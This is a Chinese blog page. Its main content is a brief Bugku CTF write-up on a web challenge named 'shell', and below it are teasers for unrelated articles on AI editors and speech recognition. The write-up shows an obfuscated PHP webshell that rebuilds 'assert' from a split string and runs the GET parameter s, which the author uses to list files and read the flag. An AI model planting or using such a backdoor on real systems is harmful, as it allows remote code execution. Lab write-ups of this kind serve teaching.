Bugku-web(shell,成绩查询)

Bugku-web(shell,成绩查询)

WriteUp1

题目信息

解题思路

打开页面,发现一片空白

观察题目中的描述

$poc="a#s#s#e#r#t";  # 定义一串字符串 $poc_1=explode("#",$poc); # explode() 按照 # 分割上面字符串,留下 ["a","s","s","e","r","t"] $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; # 拼接后 assert $poc_2($_GET['s']) # assert($_GET['s'])

看到是get请求,说明可以在url中传递参数s

得到

分别为flaga15808abee46a1d5.txt和index.php

直接查看flaga15808abee46a1d5.txt即可

得到

Read more

终极Notion风格编辑器:AI智能写作的完整指南

终极Notion风格编辑器:AI智能写作的完整指南 【免费下载链接】novelNotion-style WYSIWYG editor with AI-powered autocompletion. 项目地址: https://gitcode.com/gh_mirrors/no/novel Novel是一个开源的Notion风格所见即所得编辑器,具有AI驱动的自动补全功能。这款编辑器专为现代写作体验设计,将Notion的优雅界面与人工智能的强大能力完美结合,让写作变得更加高效和智能。无论您是内容创作者、开发者还是普通用户,Novel都能为您提供前所未有的写作体验。 🚀 什么是Notion风格编辑器? Notion风格编辑器以其简洁直观的界面和强大的块编辑功能而闻名。Novel编辑器继承了这些优点,同时加入了AI智能写作功能,让您能够: * 快速创建各种内容块(文本、列表、标题等) * 享受流畅的拖放操作体验 * 使用AI辅助完成写作任务 Notion风格编辑器的直观界面展示 ✨ 核心功能特性 AI智能写作辅助 Novel最引人注目的功能就是AI驱动的自动补全

Lostlife2.0任务系统智能化:LLama-Factory驱动动态任务生成

Lostlife2.0任务系统智能化:LLama-Factory驱动动态任务生成 在今天的开放世界游戏中,玩家早已不再满足于“前往A点、击败B怪、带回C物品”这种千篇一律的任务链条。他们期待的是一个能感知自身状态、理解行为偏好、甚至记住过往选择的“活”的游戏世界。而要实现这一点,传统脚本化设计显然力不从心——内容量大、维护成本高、缺乏灵活性。 正是在这样的背景下,Lostlife2.0 开始尝试用大语言模型(LLM)重构其任务系统的核心逻辑。我们不再预先编写成千上万条任务指令,而是训练一个能够“根据情境实时生成合理任务”的智能引擎。而支撑这一构想落地的关键工具,正是开源社区中迅速崛起的一站式微调框架——LLama-Factory。 从“写死逻辑”到“学会出题”:为什么我们需要模型来生成任务? 设想这样一个场景:两名等级相同的玩家同时进入幽暗森林。一人背包空空、饥饿值低;另一人则装备齐全但缺少治疗资源。如果系统给两人派发完全相同的任务,比如“去砍10棵树”,那显然既不合理也不有趣。 理想情况下,系统应该像一位经验丰富的DM(地下城主),能结合当前环境、

对比测试:Fun-ASR与Whisper语音识别效果与速度差异

对比测试:Fun-ASR与Whisper语音识别效果与速度差异 在企业办公场景中,每天都有成百上千小时的会议录音、客服通话和培训音频亟待处理。如何高效地将这些声音“翻译”成可搜索、可分析的文字?这不仅是效率问题,更是数据资产化的核心环节。过去几年,语音识别技术突飞猛进,尤其是OpenAI推出的Whisper系列模型,一度被视为行业标杆。然而,在真实中文语境下——口音多样、术语密集、环境嘈杂——通用型模型的表现往往不尽如人意。 正是在这种背景下,钉钉联合通义实验室推出的Fun-ASR逐渐进入开发者视野。它不追求“支持99种语言”的广度,而是聚焦于一件事:把中文说得更准、转得更快、用得更稳。更重要的是,它不是一段代码或一个API,而是一整套可以本地运行、开箱即用的语音识别系统,自带Web界面、热词增强、批量处理和历史管理功能。对于需要私有化部署、保障数据安全的企业来说,这种设计思路显然更具现实意义。 那么,当Fun-ASR真正面对Whisper时,差距究竟在哪里?是精度更高,还是速度快到质变?又或者只是“本地可用”这一点就足以决定胜负? 我们不妨从一次真实的批量转写任务说起。 假

Llama-3.2-3B部署实录:Ollama本地大模型从下载到生成仅需90秒

Llama-3.2-3B部署实录:Ollama本地大模型从下载到生成仅需90秒 想体验最新的大语言模型,但又担心复杂的部署流程和漫长的等待时间?今天,我要分享一个极其简单的方案:使用Ollama在本地部署Meta最新发布的Llama-3.2-3B模型。整个过程从下载模型到生成第一段文字,最快只需要90秒,而且完全免费,不需要任何复杂的配置。 Llama-3.2-3B是Meta推出的轻量级多语言大模型,虽然只有30亿参数,但在很多任务上的表现已经相当出色。更重要的是,它非常“亲民”,对普通电脑配置要求不高,通过Ollama这个工具,你可以像安装一个普通软件一样把它装到自己的电脑上,随时随地调用。 这篇文章,我将带你走一遍完整的部署流程,从零开始,手把手教你如何用最简单的方法,在自己的电脑上跑起这个强大的AI助手。 1. 准备工作:认识我们的工具和模型 在开始动手之前,我们先花一分钟了解一下今天要用到的两个核心:Ollama和Llama-3.2-3B模型。了解它们是什么,能帮你更好地理解后面的每一步操作。 1.1 Ollama:你的本地大模型管家 你可以把Ollama想象成